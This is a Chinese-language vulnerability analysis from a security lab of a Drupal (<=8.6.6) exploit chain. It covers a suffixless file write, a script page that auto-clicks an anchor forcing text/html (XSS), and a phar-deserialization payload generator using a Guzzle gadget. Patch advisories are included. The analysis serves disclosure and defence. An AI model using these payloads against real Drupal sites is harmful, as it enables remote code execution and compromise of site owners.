Drupal 1-click to RCE 分析 作者:LoRexxar@知道創宇404實驗室時間:2019年4月19日原文鏈接:https://paper.seebug.org/897/ 2019年4月11日,zdi博客公開了一篇A SERIES OF UNFORTUNATE IMAGES: DRUPAL 1-CLICK TO RCE EXPLOIT CHAIN DETAILED. 整個漏洞的各個部分沒什麼特別的,巧妙的是,攻擊者使用了3個漏洞+幾個小trick,把所有的漏洞鏈接起來卻成了一個還不錯的利用鏈,現在我們就來一起看看整個漏洞. 無後綴文件寫入 在Drupal的機制中,設定了這樣一條規則。用戶上傳的圖片文件名將會被保留,如果出現文件名相同的情況,那麼文件名後面就會被跟上_0,_1依次遞增。在Drupal中為了兼容各種編碼,在處理上傳文件名時,Drupal會對文件名對相應的處理,如果出現值小於0x20的字元,那麼就會將其轉化為_。 但如果文件名中,如果出現了x80到xff的字元時,PHP就會拋出PREG_BAD_UTF8_ERROR,如果發生錯誤,那麼preg_replace就會返回NULL,$basename就會被置為NULL。 當basename為空時,後面的文件內容會被寫入到形似_0的文件內 在這個基礎下,原本會被上傳到 /sites/default/files/pictures/<YYYY-MM>/ 則會被寫入 /sites/default/files/pictures/<YYYY-MM>/_0 當服務端開啟了評論頭像上傳,或者是擁有作者賬號時攻擊者可以通過上傳一張惡意構造的gif圖,然後再上傳一張帶有惡意字元的同一張圖,那麼就會將惡意圖片的內容寫入到相應目錄的_0中 但如果我們直接訪問這個文件時,該文件可能不會解析,這是因為 瀏覽器首先會根據服務端給出的content-type解析頁面,而服務端一般不會給空後綴的文件設置content-type,或者設置為application/octet-stream 其次瀏覽器會根據文件內容做簡單的判斷,如果文件的開頭為<html>,則部分瀏覽器會將其解析為html 部分瀏覽器還可能會設置默認的content-type,但大部分瀏覽器會選擇不解析該文件。 這時候我們就需要一個很特殊的小trick了,a標籤可以設置打開文件的type(only not for chrome)當你訪問該頁面時,頁面會被解析為html並執行相應的代碼。<html> <head> </head> <body> <a id=a href="http://127.0.0.1/drupal-8.6.2/sites/default/files/2019-04/_6" type="text/html">321321</a> <script type="text/javascript"> var a = document.getElementById(a) a.click() </script> </body> </html> 當被攻擊者訪問該頁面時,我們就可以執行任意的xss,這為後續的利用帶來了很大的便利,我們有了一個同源環境下的任意js執行點,讓我們繼續看。 phar反序列化RCE 2018年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the 「phar://」 Stream Wrapper議題,原文blackhat.com。在該議題中提到,在PHP中存在一個叫做Stream API,通過註冊拓展可以註冊相應的偽協議,而phar這個拓展就註冊了phar://這個stream wrapper。 在我們知道創宇404實驗室安全研究員seaii曾經的研究(https://paper.seebug.org/680/)中表示,所有的文件函數都支持stream wrapper。也就是說,如果我們找到可控的文件操作函數,其參數可控為phar文件,那麼我們就可以通過反序列化執行命令。在Drupal中,存在file system功能,其中就有一個功能,會把傳入的地址做一次is_dir的判斷,這裡就存在這個問題 直接使用下面的payload生成文件<?php namespace GuzzleHttpPsr7{ class FnStream{ public $_fn_close = "phpinfo"; public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } } } } namespace{ @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //設置stub,增加gif文件頭 $o = new GuzzleHttpPsr7FnStream(); $phar->setMetadata($o); //將自定義meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); } ?> 修改後綴為png之後,傳圖片到服務端,並在file system中設置phar://./sites/default/files/2019-04/drupal.png 即可觸發 漏洞要求 這個漏洞在Drual8.6.6的更新中被修復,所以漏洞要求為 <= Durpal 8.6.6 服務端開啟評論配圖或者攻擊者擁有author以上許可權的賬號 被攻擊者需要訪問攻擊者的url 當上面三點同時成立時,這個攻擊鏈就可以被成立 漏洞補丁 無後綴文件寫入 SA-CORE-2019-004 https://www.drupal.org/SA-CORE-2019-004 如果出現該錯誤直接拋出,不繼續寫入https://github.com/drupal/drupal/commit/82307e02cf974d48335e723c93dfe343894e1a61#diff-5c54acb01b2253384cfbebdc696a60e7 phar反序列化 SA-CORE-2019-002 https://www.drupal.org/SA-CORE-2019-002 寫在最後 回顧整個漏洞,不難發現其實整個漏洞都是由很多個不起眼的小漏洞構成的,Drupal的反序列化POP鏈已經被公開許久,phar漏洞也已經爆出一年,在2019年初,Drupal也更新修復了這個點,而preg_replace報錯會拋出錯誤我相信也不是特別的特性,把這三個漏洞配合上一個很特別的a標籤設置content-type的trick,就成了一個很漂亮的漏洞鏈。 本文由 Seebug Paper 發布,如需轉載請註明來源。歡迎關注我和專欄,我將定期搬運技術文章~也歡迎訪問我們:知道創宇雲安全 推薦閱讀: 相關文章 {{#data}} {{title}} {{/data}}